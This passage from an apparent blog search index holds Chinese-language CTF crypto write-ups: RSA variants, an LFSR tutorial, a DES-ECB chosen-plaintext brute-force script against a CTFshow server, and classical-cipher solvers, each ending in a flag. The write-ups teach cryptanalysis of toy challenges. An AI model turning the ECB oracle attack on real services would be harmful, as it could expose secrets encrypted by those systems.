98948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759e = 77310199867448677782081572109343472783781135641712597643597122591443011229091533516758925238949755491395489408922437493670252550920826641442189683907973926843505436730014899918587477913032286153545247063493885982941194996251799882984145155733050069564485120660716110828110738784644223519725613280140006783618393995138076030616463398284819550627612102010214315235269945251741407899692274978642663650687157736417831290404871181902463904311095448368498432147292938825418930527188720696497596867575843476810225152659244529481480993843168383016583068747733118703000287423374094051895724494193455175131120243097065270804457787026492578916584536863548445813916819417857064037664101684455000184987531252344582899589746272173970083733130106407810619258077266603898529285634495710846838011858287024329514491058790557305041389614650730267774482954666726949886313386881066593946789460028399523245777171320319444673551268379126203862576627540177888290265714418064334752499940587750374552330008143708562065940245637685833371348603338834447212248648869514585047871442060412622164276894766238383894693759347590977926306581080390685360615407766600573527565016914830132066428454738135380178959590692145577418811677639050929791996313180297924833690095c = 165251729917394529793163344300848992394021337429474789711805041655116845722480301677817165053253655027459227404782607373107477419083333844871948673626672704233977397989843349633720167495862807995411682262559392496273163155214888276398332204954185252030616473235814999366132031184631541209554169938146205402400412307638567132128690379079483633171535375278689326189057930259534983374296873110199636558962144635514392282351103900375366360933088605794654279480277782805401749872568584335215630740265944133347038070337891035560658434763924576508969938866566235926587685108811154229747423410476421860059769485356567301897413767088823807510568561254627099309752215808220067495561412081320541540679503218232020279947159175547517811501280846596226165148013762293861131544331444165070186672186027410082671602892508739473724143698396105392623164025712124329254933353509384748403154342322725203183050328143736631333990445537119855865348221215277608372952942702104088940952142851523651639574409075484106857403651453121036577767672430612728022444370874223001778580387635197325043524719396707713385963432915855227152371800527536048555551237729690663544828830627192867570345853910196397851763591543484023134551876591248557980182981967782409054277224print(long_to_bytes(pow(c,d,n)))#hgame{dO|YOU:kNOw!tHE*PRINcIplE*bEhInd%WInNEr#aTTacK}'","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"HGAME2022","slug":"赛事/HGAME2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/HGAME2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"}]},{"title":"CTFshow-1024杯","slug":"CTFshow-1024杯","date":"2022-02-03T04:41:52.000Z","updated":"2022-02-03T05:27:10.000Z","comments":true,"path":"2022/02/03/CTFshow-1024杯/","link":"","permalink":"http://example.com/2022/02/03/CTFshow-1024%E6%9D%AF/","excerpt":"1024_Trick1234567891011121314151617181920212223242526from Crypto.Util.number import getPrime, bytes_to_longfrom gmpy2 import gcd, invertfrom secret import flagdef gen(x, y): while True: k = getPrime(1024) if gcd(x * y - x - y + 1, k) == 1 and gcd(x * y - x - y + 1, k + 1024) == 1: return kp = getPrime(1024)q = getPrime(1024)d = gen(p, q)e1 = invert(d, (p - 1) * (q - 1))e2 = invert(d + 1024, (p - 1) * (q - 1))n = p * qc = pow(flag, e1, n)out = open('output', 'w')out.write(str(n)+'\\n')out.write(str(e1)+'\\n')out.write(str(e2)+'\\n')out.write(str(c)+'\\n')","text":"1024_Trick1234567891011121314151617181920212223242526from Crypto.Util.number import getPrime, bytes_to_longfrom gmpy2 import gcd, invertfrom secret import flagdef gen(x, y): while True: k = getPrime(1024) if gcd(x * y - x - y + 1, k) == 1 and gcd(x * y - x - y + 1, k + 1024) == 1: return kp = getPrime(1024)q = getPrime(1024)d = gen(p, q)e1 = invert(d, (p - 1) * (q - 1))e2 = invert(d + 1024, (p - 1) * (q - 1))n = p * qc = pow(flag, e1, n)out = open('output', 'w')out.write(str(n)+'\\n')out.write(str(e1)+'\\n')out.write(str(e2)+'\\n')out.write(str(c)+'\\n') ​ 分析: ​ exp: 12345678910111213from Crypto.Util.number import *import gmpy2n = 28247956190796077548821036165832051095182478841343849341201099128819479182033196745888916043527789810068912335285845353736774484336851382817061906161464410813261565043154569983001168979661397673033159029064565590415202266364668996185387927547647414609049665701634943970073424680262167057713264162243044242199992525550717430218592937779319306804366853371496949090902097569447358748738601201092248706444400984549491240349808244847814292328867056531536176757195282237815281620345660712787511847864860157060561247341926472934445937054346872777130907776700747053879719058858665504682167737096909091658310703848714995507087e1 = 14729696809459508716385569304221898763069627997586157384420106315856541102841676901689428248411442723122274238893709627729613555080244422116252212813081403190521848377387091820856797688344508117977167198575999802122072100976783815485227448685251402928453641606244138534312889639695831020684859444038879931443306689809413522781182634833029742866760422550903997471974167552388516014202843112478278655370138693696356621310668692751596233613748393311787483393850367208650431878268345462622307080790201460993914739555030933412223443727451306619192444521947087311524606746672804056939248534450817019868870802552074243882377e2 = 10907651584541464409470494737289836122935666586931706055595902003883184928824627549246585826596861981965927482456455737073705999708471130440398909870554351524288791148142553288839156753336551721274021596567766812030470532876231205718107266170708315964229471470530690537533600851746463150957473253899821019421342552091338365357017748742821451767352420328276163005698272017204771807428933429417340619373269170581813206653190286582334483827342338454461627946086922006705360281421384249860374825149668002500611584152958000206147344275567898096476692898681393229095674001876869497249423498186867190630700665116613171171985c = 14151986355027540236877811729876734276410473157789551074684191809631364271052357249861862424614207635605041553420473293592242919606316628442514124449901660763278200999279517540020047022360186952956318844301844675024175636253509419780669989143178706203706350138854046573467948881219084764605132312446701967740275650109903208220772228525117766500225573404421894020148747991820530966508849170593946661068452445685905577771836515980941955814291933511646362511812580324895180140431064196870852032763940873198931010750588123937360585160510295014722360134758829576304291022740315244570633962516612490451736612193602659033973kphi = e1 - e2 -1024*e1*e2d2 = gmpy2.invert(e1,kphi)m = pow(c,d2,n)print(long_to_bytes(m))#flag{wh47_1F_1_H4V3_pr1v473_K3Y+X???} 1024_密码系统1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162# -*- coding:utf-8 -*-# Author:airrudderfrom Crypto.Cipher import DESfrom binascii import b2a_hex, a2b_hexfrom secret import FLAG,KEY,HINTfrom itertools import *import randomdef Encode_1024sys(data,key): data_list = [data[i:i+8] for i in range(0,len(data),8)] k1 = DES.new(key.encode(), DES.MODE_ECB) k2 = DES.new(key[::-1].encode(), DES.MODE_ECB) data_res = '' for i in range(0,len(data_list)): k = random.choice([k1,k2]) c = k.encrypt(data_list[i].encode()) data_res += b2a_hex(c).decode() #字符串转16进制 return data_resdef Encode_1024(data,key): len_data=len(data) choices = cycle('1024') while len_data%8!=0: #pad data += next(choices) len_data=len(data) data_res = Encode_1024sys(data,key) data_out = hex(int(data_res,16)**12 + random.randint(10**1023,10**1024))[2:] return data_outdef main(): menu = '''1. Encode2. Verify your FLAG3. Exit''' try: while True: print(menu) choice = input("> ") if choice == "1": msg=input("Please input your msg: ") data_out = Encode_1024(msg+FLAG,KEY) print("hex(Encode_1024(msg+flag)) is :",data_out) elif choice == "2": yourFLAG = input('Please input your FLAG: ') if yourFLAG == FLAG: print(HINT) else: print('1024, nonono..., come on!!!') elif choice == "3": print("Bye!") return else: print("Invalid choice!") continue except: print('error') if __name__ == "__main__": main() ​ 面向wp学习: 12345678910111213假设flag为 flag{12345678} #共14位填充后 flag{12345678}10 #16位,明文分组为“flag{123”、“45678}10”#flag前面的数据可控,假如填入的msg为“111”flag会被填充到 111flag{12345678}1024102 #共24位,明文分组为“111flag{”、“12345678”、“}1024102”#也就是说flag的最后一位“}”就被挤出了原来的分组,总长度增加。而且最后一个明文分组为“}1024102”。#那么假如我在一开始填入的msg为“}1024102111”flag会被填充到 }1024102111flag{12345678}1024102 #共32位,明文分组为“}1024102”、“111flag{”、“12345678”、“}1024102”#这也就是说第一个明文分组和最后一个明文分组是一样的,所以ECB模式下,所对应的密文分组也一样。#所以对输入的msg逐位添加爆破即可爆破8位后,得到 2345678}1024102111flag{12345678} #共32位#到第9位时,就需要比较第一个明文分组和倒数第二个明文分组所对应的密文分组是否一样了12345678}1024102111flag{12345678}1024102 #共40位,明文分组“12345678”、“}1024102”、“111flag{”、“12345678”、“}1024102”#同样的,到(8k+1)位是,需要比较第一个明文分组和倒数第(k+1)位的明文分组 ​ exp: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879from pwn import *import gmpy2import stringimport randomdef main(): try: sh = remote('pwn.challenge.ctf.show',28175) print('\\n[+] 开始爆破FLAG') FLAG = get_FLAG(sh) print('\\n[+] 开始解密得到flag') flag = yunying(FLAG) print('flag{'+flag.lower()+'}') except: print_msg() exit(0)def print_msg(): print('='*50) print('Usage: python exp.py <ip> <port>') print(' Eg: python exp.py 127.0.0.1 10248') print('='*50)#验证FLAGdef verify_FLAG(sh,FLAG): sh.recvuntil('> ') sh.sendline('2') sh.recvuntil('Please input your FLAG: ') sh.sendline(FLAG) data = sh.recvline().decode() if 'nonono' not in data: print('\\nHINT: '+data) return FLAG return 0def get_FLAG(sh): FLAG = '' table = '1024' # 不知道FLAG被分成几组,这里先爆破5组 for k in range(5): #DES分组,每组8字节 for j in range(8): #由于key有两个,不知道到底使用的哪一个,所以多循环几次爆破即可 while True: i = random.choice(['1','0','2','4']) sh.recvuntil('> ') sh.sendline('1') sh.recvuntil('Please input your msg: ') payload = i+FLAG+'1024102111' sh.sendline(payload) #接收到的data数据 data = sh.recvline().decode().split(' : ')[1][:-1] #print(data) datadec = int(data,16) #开方后十进制表示的数据 dec1024 = gmpy2.iroot(datadec,12) hex1024 = hex(dec1024[0])[2:] if (k==0 and hex1024[:16]==hex1024[-16:]) or hex1024[:16]==hex1024[-16*(k+1):-16*(k)]: FLAG = i+FLAG print('\\rFLAG = '+FLAG,end='') if verify_FLAG(sh,FLAG): return FLAG break return 0#云影密码(01248密码)解密def yunying(FLAG): flag = '' strs = string.ascii_uppercase flag_list = FLAG.split('0') for j in flag_list: tmp = 0 for k in j: tmp += int(k) flag += strs[tmp-1] return flagif __name__ == '__main__': main()","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"CTFshow-1024杯","slug":"赛事/CTFshow-1024杯","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CTFshow-1024%E6%9D%AF/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"}]},{"title":"LFSR基本原理和简单题型","slug":"LFSR基本原理和简单题型","date":"2022-01-26T10:01:32.000Z","updated":"2022-01-27T07:18:34.000Z","comments":true,"path":"2022/01/26/LFSR基本原理和简单题型/","link":"","permalink":"http://example.com/2022/01/26/LFSR%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86%E5%92%8C%E7%AE%80%E5%8D%95%E9%A2%98%E5%9E%8B/","excerpt":"​ 序列密码最重要的就是以某种规律产生大量密钥,而产生密钥流最重要的部件之一是反馈移位寄存器。其中反馈移位寄存器又分为线性反馈移位寄存器和非线性反馈移位寄存器,本篇主要介绍线性反馈移位寄存器(LFSR)的原理和基本题型。","text":"​ 序列密码最重要的就是以某种规律产生大量密钥,而产生密钥流最重要的部件之一是反馈移位寄存器。其中反馈移位寄存器又分为线性反馈移位寄存器和非线性反馈移位寄存器,本篇主要介绍线性反馈移位寄存器(LFSR)的原理和基本题型。 一.LFSR的优点1.LFSR适合硬件实现,代价小,收益大 2.它们能产生大的周期序列 3.它们能产生好的统计特性的序列 4.它们的结构能够应用代数方法进行分析 二.n级反馈移位寄存器的结构和原理 ​ LFSR的结构如图所示: ​ 其工作原理比较简单,移位寄存器用来存储数据,并受到系统时钟脉冲驱动。每一存储器称为移位存储器的一级,移位存储器中的个数称为移位存储器的级数。在某一时刻,所有寄存器的内容构成该反馈移位寄存器的一个状态,共有2^n种可能的状态,每一个状态对应于域GF(2)上的一个n维向量,用(a1,a2,…,an-1,an)表示,其中ai是当前时刻第i级存储器的内容。 ​ 在一个时间单位内,第i级寄存器ai的内容被传递给第i-1级寄存器ai-1(i=2,3,…),并根据寄存器当前的状态计算f(a1,a2,…,an)作为寄存器an下一个时刻的内容,其中f称为反馈函数,该函数是个n元布尔函数。 ​ 若f(a1,a2,…,an)是a1,a2等的线性函数,则这样的移位寄存器称为线性反馈移位寄存器,否则位非线性反馈移位寄存器。 ​ 若f为线性移位寄存器,则可以表示为: f(a1,a2,…,an)=Cn .a1+Cn-1 .a2+…+C1 .an 其中,Ci为0或者1,+为模2加法(异或运算),并且要满足Ci不全为0。举个例子如下: 三.基本题型举例[CISCN2018]oldstreamgame 12345678910111213141516171819202122232425262728flag = "flag{xxxxxxxxxxxxxxxx}"assert flag.startswith("flag{")assert flag.endswith("}")assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff #R进行左移,说明R即为初始状态 i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit)R=int(flag[5:-1],16)mask = 0b10100100000010000000100010010100f=open("key","w")for i in range(100): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out f.write(chr(tmp))f.close()#输出(16进制序列)#20FDEEF8A4C9F4083F331DA8238AE5ED083DF0CB0E7A83355696345DF44D7C186C1F459BCE135F1DB6C76775D5DCBAB7A783E48A203C19CA25C22F60AE62B37DE8E40578E3A7787EB429730D95C9E1944288EB3E2E747D8216A4785507A137B413CD690C ​ LFSR类型的题目首先要确定移位周期,其实也就是寄存器的个数。题目中的R = int(flag[5:-1],16),其长度为14-6 = 8 (个16进制数),说明寄存器的个数为8*4 = 32。 ​ 下一步要搞清楚移位寄存器的线性函数表达式,所以需要研究lfsr函数: output = (R << 1) & 0xffffffff:R(32位)循环左移一位 i=(R&mask)&0xffffffff:i为R与mask与运算的结果,由于mask大部分为0,所以i可能为1的位数只能为mask非0的位数,即mask从右向左第3、5、8、12、20、27、30、32位 lastbit^=(i&1):lastbit实际上等于i的每一位相异或,由于与0异或值不变,所以只考虑i中的1的数量,若1的数量为偶数,lastbit为0,若为奇数,则为1。又由于i可能为1的位数为以上几位,所以lastbit = 3^5^8^12^20^27^30^32(线性表达式)。 ​ 再分析输出流: 123456789 f=open("key","w")for i in range(100): tmp=0 for j in range(8): (R,out)=lfsr(R,mask) tmp=(tmp << 1)^out f.write(chr(tmp))f.close() ​ 每8位lastbit组成一个字节,即一个字符,循环一百次,获得100个字符。 ​ 解题:综合以上分析,可以发现欲获得初始R的序列,需要找到R左移31次以后的状态,此时R的最低位在反馈寄存器的最高位,其他位都是由f连续生成的31位lastbit,那么可以通过异或的可逆性,获得R的最低位,依次可以获得R的倒数第二位…直到获得R的完整序列。 ​ exp: 123456789101112131415c = "00100000111111011110111011111000"s = ''for i in range(32): m = str(int(c[-4])^int(c[-6])^int(c[-9])^int(c[-13])^int(c[-21])^int(c[-28])^int(c[-31])^int(c[-1])) #这里需要仔细思考 s = s + m l = s[::-1] c = l + '00100000111111011110111011111000'[0:31-i]s = s[::-1]print(s)d = int(s,2)print('flag{'+str(hex(d))[2:]+'}')#flag{926201d7}","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"LFSR","slug":"比赛/LFSR","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/LFSR/"},{"name":"基本原理","slug":"比赛/LFSR/基本原理","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/LFSR/%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"LFSR","slug":"LFSR","permalink":"http://example.com/tags/LFSR/"}]},{"title":"CTFshow-摆烂杯","slug":"CTFshow-摆烂杯","date":"2022-01-24T02:36:06.000Z","updated":"2022-01-25T23:57:06.000Z","comments":true,"path":"2022/01/24/CTFshow-摆烂杯/","link":"","permalink":"http://example.com/2022/01/24/CTFshow-%E6%91%86%E7%83%82%E6%9D%AF/","excerpt":"easy-peasy​ 签到题:","text":"easy-peasy​ 签到题: 1234567891011121314151617from Crypto.Util.number import *from secret import flagp = getPrime(1024)q = getPrime(1024)n = p * qprint(f'n = {n}')l = len(flag)assert(l == 86)m = bytes_to_long(b'\\x00' * (l - 1) + flag + b'\\x00' * (l - 2))e = 3c = pow(m, e, n)print(f'c = {c}')# n = 23570098360097260908266914080954003513706885568390448463720576188146956287111601604870247233822682630020002051748117520481402155749832096007629686239669192722978473890311246293580246256300691145653885805730865515297134808702766299205253761028235483781919393575836334910012714628455073300114978717047912395404034141622115001451888302617428376998024080880564792294546406688814397757714979980790018933407614160131827023349206138480523080173634617167828920519758917549492886733519381497665596997617399404664611446202014908853898043742964782757859701755202188366852773164911994663079171498909577012208742001609095258401847# c = 7802816471025387606454709075933309958303134972861203739854774032383575355964299097074709350633475519273512630813578801152996777689686451397201513854823239337669091889776200179028891111154423623765139235199507280104544068425347533121731521700106757148551520759776111224072064131087547685154285120156917449926992033491342535410929828988598182819897435365878832122138552492908774845437576910276499625679469289655841639181182040186931130789588869657335253479416209378458303531995734157105918063227453396477282662136225029972745246845372963076381252679409317314514131852117346576265346926741908194011319430767975281696400 ​ 小指数加密的变种,先移位再进行小指数加密。解法就是先把移位扩大的倍数求逆(模除法),再小指数开方就可。 123456789101112131415161718from Crypto.Util.number import *import gmpy2# a = b'\\x00\\01\\x00\\x00'# print(bytes_to_long(a))c = 7802816471025387606454709075933309958303134972861203739854774032383575355964299097074709350633475519273512630813578801152996777689686451397201513854823239337669091889776200179028891111154423623765139235199507280104544068425347533121731521700106757148551520759776111224072064131087547685154285120156917449926992033491342535410929828988598182819897435365878832122138552492908774845437576910276499625679469289655841639181182040186931130789588869657335253479416209378458303531995734157105918063227453396477282662136225029972745246845372963076381252679409317314514131852117346576265346926741908194011319430767975281696400n = 23570098360097260908266914080954003513706885568390448463720576188146956287111601604870247233822682630020002051748117520481402155749832096007629686239669192722978473890311246293580246256300691145653885805730865515297134808702766299205253761028235483781919393575836334910012714628455073300114978717047912395404034141622115001451888302617428376998024080880564792294546406688814397757714979980790018933407614160131827023349206138480523080173634617167828920519758917549492886733519381497665596997617399404664611446202014908853898043742964782757859701755202188366852773164911994663079171498909577012208742001609095258401847k = pow(16,504)o = gmpy2.invert(k,n)o1 = o*co1 = o1 % nfor i in range(1000000): m = gmpy2.iroot(o1+i*n,3)[0] if(long_to_bytes(m))[:3] == b"ctf": print(long_to_bytes(m))#ctfshow{345Y_p345Y_4_p13C3_OF_R54_1f_you_533_7H15_yOU_W1ll_KnoW_hoW_7o_5oLV3_17_R1gh7} 你不知道的事123456789#!/usr/bin/env python3from Crypto.Util.number import*from secret import p, q, r, m_liste = 0x10001n = p*qnn = pow(p + q, 2)with open("output.txt", "w") as f: tuple(map(lambda x: f.write(f'{x}\\n'), (n, (nn - q * (2*p + q)) * r, [pow(r*bytes_to_long(msg), e, n) for msg in m_list]))) ​ 先破解msg的内容,分析过程: ​ exp1: 1234567891011121314151617181920212223242526msg = []e = 0x10001n = ...n0 = ...#化简得p**2 * r = n0p = gmpy2.gcd(n,n0)r = n0//p**2q = n//pphi = (p-1)*(q-1)d = gmpy2.invert(e,phi)for i in msg: m = pow(i,d,n)//r print(long_to_bytes(m)) # F:\\python3.9\\python.exe C:/Users/CTF/PycharmProjects/摆烂杯—你不知道的事/main.pyb"# We're no strangers to love,\\n"b'# You know the rules and so do I.\\n'b"# A full commitment's what I'm thinking of,\\n"b"# You wouldn't get this from any other guy.\\n"b'from Crypto.Util.number import *\\n'b'from sympy import nextprime\\n'b'flag = we_know_each_other_for_so_long\\n'b"flag1 = flag[:len(flag) // 2] + __import__('os').urandom(88)\\n"b"flag2 = flag[len(flag) // 2:] + __import__('os').urandom(88)\\n"b'p = nextprime(bytes_to_long(flag1))\\n'b'q = nextprime(bytes_to_long(flag2))\\n' ​ 根据输出的msg内容我们知道flag为flag1和flag2两部分组成,并且p和q就是flag1,2的整数的下一个素数。由于下一个素数大小与本数的差距并不大,只影响低位,于是可以直接将p和q转化成字节,可以看到高位部分就是flag: 1b"ctfshow{086c67cb-a132-4\\x88\\x0b\\n:r\\xfc\\x01)\\xe6'\\xccI\\x1e@_\\xf1\\x80\\x9c\\xa8\\xb5\\xdc\\x0fr\\xeb\\x8c\\x11\\xd8UWr\\x82\\xb7\\xdd\\xbe\\xd6{V'\\xcf\\xbc\\xeb\\x85\\xdcCh\\xfcT\\xbdK\\x16\\xb6\\xa1\\xf7\\x06t1j\\x95)\\x00\\xa3\\xc6MKk@\\xcc\\xe2\\xe03\\xe1\\xee\\x8e\\xf1\\xa0\\xcf\\xef\\xca\\xa1\\xac@\\x1d\\xb2n\\nI\\xc8a" b'509-8b6b-6c46386487dc}\\n\\xf3\\x15\\x99J\\xa4\\n}\\x1f_ J\\xcdMu\\xb6\\x1d0\\x06\\x18\\xe5\\x8b&yJ\\xee\\xe7\\x94L\\x96\\x119\\xa5`~\\x9a<\\xfdl\\x88q\\xf8Y"\\xe8\\x83\\x970\\xa9\\'3hP\\x1d\\xc3\\x16C\\x016Y\\xcf\\xebQe\\x99\\x9b&\\xf6\\xf0\\xdd\\x81\\x19\\xbb9\\xba\\xbf\\x1d\\x07l\\x16\\xbb\\xe8\\xf4\\xe0`ot\\xa9\\x8d' 春哥VS曾哥​ 关于模运算的问题,需要根据服务端给出的数值对进行分类讨论: 123456789101112131415161718192021from pwn import *p=remote('pwn.challenge.ctf.show',28020)def pwn(): a=str(p.recvline()) b=a.find('= (') c=a.find(',',9) d=int(a[b+3:c])#x e=int(a[c+2:-4])#y if(d>=e): p.sendline(str(d+e)) else: f=e%d g=(e-f)//d h=g*d+f//2 p.sendline(str(h))for i in range(233): pwn() print('进行了',i,'轮验证')p.interactive()#flag: ctfshow{f28a4698-124e-4625-9a46-a92ff3c13756}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"CTFshow-摆烂杯","slug":"赛事/CTFshow-摆烂杯","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CTFshow-%E6%91%86%E7%83%82%E6%9D%AF/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"}]},{"title":"CTFshow-月饼杯","slug":"CTFshow-月饼杯","date":"2022-01-19T11:09:31.000Z","updated":"2022-01-19T12:30:56.000Z","comments":true,"path":"2022/01/19/CTFshow-月饼杯/","link":"","permalink":"http://example.com/2022/01/19/CTFshow-%E6%9C%88%E9%A5%BC%E6%9D%AF/","excerpt":"crypto1_中秋月","text":"crypto1_中秋月 ​ 题目以及hint: 密文: hint:某古典密码;经此古典密码加密后,密文还是大写;keyword+plaintext (+plaintext…+plaintext);自动钥匙⊕;明文全大写,得到后转小写,并以_连接单词 ​ ⊕符号通常就是异或的表示,根据题意应该是明文经过加密以后(大写字母)还经过了异或才得到当前的密文,所以可以先尝试还原异或之前的大写字母: 123456789s='fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu'for i in range(255): res='' for j in range(0,len(s)): temp = ord(s[j])^i if 65<=temp<=90 : #由大小写字母构成 res += (chr(temp)) if len(res)==len(s): print(res) ​ 得到:YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ ​ 根据keyword+plaintext (+plaintext…+plaintext)可知该加密算法为autokey密码,是一种多表替换密码,与维吉尼亚密码密码类似。对于替换类密码的破解github上有一个项目:python_cryptanalysis ​ 由于该项目仅支持python2,于是适当修改源码运行得到flag ​ 解密完整代码: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108#main.pyfrom ngram_score import ngram_scorefrom pycipher import Autokeyimport refrom itertools import permutationss='fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu'for i in range(255): res='' for j in range(0,len(s)): temp = ord(s[j])^i if 65<=temp<=90 : #由大小写字母构成 res += (chr(temp)) if len(res)==len(s): print(res)qgram = ngram_score('quadgrams.txt')trigram = ngram_score('trigrams.txt')ctext = 'YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ'ctext = re.sub(r'[^A-Z]', '', ctext.upper())class nbest(object): def __init__(self, N=1000): self.store = [] self.N = N def add(self, item): self.store.append(item) self.store.sort(reverse=True) self.store = self.store[:self.N] def __getitem__(self, k): return self.store[k] def __len__(self): return len(self.store)# initN=100for KLEN in range(3,20): rec = nbest(N) for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3): key = ''.join(i) + 'A'*(KLEN-len(i)) pt = Autokey(key).decipher(ctext) score = 0 for j in range(0,len(ctext),KLEN): score += trigram.score(pt[j:j+3]) rec.add((score,''.join(i),pt[:30])) next_rec = nbest(N) for i in range(0,KLEN-3): for k in range(N): for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': key = rec[k][1] + c fullkey = key + 'A'*(KLEN-len(key)) pt = Autokey(fullkey).decipher(ctext) score = 0 for j in range(0,len(ctext),KLEN): score += qgram.score(pt[j:j+len(key)]) next_rec.add((score,key,pt[:30])) rec = next_rec next_rec = nbest(N) bestkey = rec[0][1] pt = Autokey(bestkey).decipher(ctext) bestscore = qgram.score(pt) for i in range(N): pt = Autokey(rec[i][1]).decipher(ctext) score = qgram.score(pt) if score > bestscore: bestkey = rec[i][1] bestscore = score print (bestscore,'autokey, klen',KLEN,':"'+bestkey+'",',Autokey(bestkey).decipher(ctext).lower()) #ngram_score.pyfrom math import log10class ngram_score(object): def __init__(self,ngramfile,sep=' '): ''' load a file containing ngrams and counts, calculate log probabilities ''' self.ngrams = {} for line in open(ngramfile): key,count = line.split(sep) self.ngrams[key] = int(count) self.L = len(key) #print(self.ngrams.items()) self.N = sum(self.ngrams.values()) #calculate log probabilities for key in self.ngrams.keys(): self.ngrams[key] = log10(float(self.ngrams[key])/self.N) self.floor = log10(0.01/self.N) def score(self,text): ''' compute the score of text ''' score = 0 ngrams = self.ngrams.__getitem__ for i in range(len(text)-self.L+1): if text[i:i+self.L] in self.ngrams: score += ngrams(text[i:i+self.L]) else: score += self.floor return score crypto2_月自圆​ 题目: 123456789101112131415161718192021222324# -*- coding:utf-8 -*-#Author: Lazzarofrom itertools import *from random import *from string import *def encrypt(m, a, si): c="" for i in range(len(m)): c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2) #zfill函数是将字符串右对齐指定长度,用0填充左边 return c if __name__ == "__main__": m = '****************************************************flag{*************}' assert(len(m)==71) a = randint(50,100) salt = ''.join(sample(ascii_uppercase, 4))#随机抽4个大写字母 si = cycle(salt.lower()) c=encrypt(m, a, si) print(c) #3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a ​ 由题目得flag长度为71,密文为172,一位明文对应两位密文 ​ 这里由于a不大,salt长度也不长,且明文m中存在flag,正好可以用这几位去爆破出a和salt;flag在明文m中的位置是53,对应密文c中的位置是105;因此可以遍历si(26位字母)和a(50~100) 1234567891011121314151617from itertools import *def decrypt(m, a, si): c="" for i in range(len(m)): c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2) return cif __name__ == "__main__": for i in range(50,100): for j in ascii_uppercase: si = cycle(j.lower()) # if encrypt('f', i, si)=='1c': # print('i =',i,'\\tj =',j) if decrypt('l', i, si)=='29': print('i =',i,'\\tj =',j) ​ 通过字母f爆破的结果: i = 52 j = Di = 57 j = Fi = 62 j = Hi = 67 j = Ji = 72 j = Li = 77 j = Ni = 82 j = Pi = 87 j = Ri = 92 j = Ti = 97 j = V ​ 通过字母l爆破的结果: i = 54 j = Ai = 55 j = Ui = 61 j = Mi = 67 j = Ei = 68 j = Yi = 74 j = Qi = 80 j = Ii = 86 j = Ai = 87 j = Ui = 93 j = Mi = 99 j = E ​ 取两者的交集:a = 67 ​ 再利用a爆破salt的另外两位: 12345if decrypt('a', 67, si)=='56': print('j =',j)if decrypt('g', 67, si)=='66': print('j =',j) ​ 得到构成salt的字符为“J、E、S、Q”,又f字母是第53个,前边共52个字母是4的倍数,于是可以确定salt就为“JESQ” ​ 解密exp: 123456789101112131415161718192021from itertools import *if __name__ == "__main__": a=67 salt = 'JESQ' si = cycle(salt.lower()) c = '3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a' q=len(c)//2 s='' for i in range(q): b=c[:2] c=c[2:] sm=next(si) for k in range(1,126): m=chr(k) c1=hex(((ord(m)) * a + ord(sm)) % 128)[2:].zfill(2) #print(m,c1,int(c1,base=16)==int(b,base=16)) if(int(c1,base=16)==int(b,base=16)): s+=m break print(s) now_is_7fad9fcb-d361-4964-821c-177c906b8d20_flag_is_flag{md5(now-salt)} ​ 最后把now(7fad9fcb-d361-4964-821c-177c906b8d20)和salt拼接起来进行md5加密就得到flag{}里面包裹的内容。 crypto3_多少离怀​ 题目: 1234567891011121314151617181920212223242526272829303132# -*- coding:utf-8 -*-#Author: Lazzarofrom Crypto.Util.number import getPrime,isPrimefrom math import 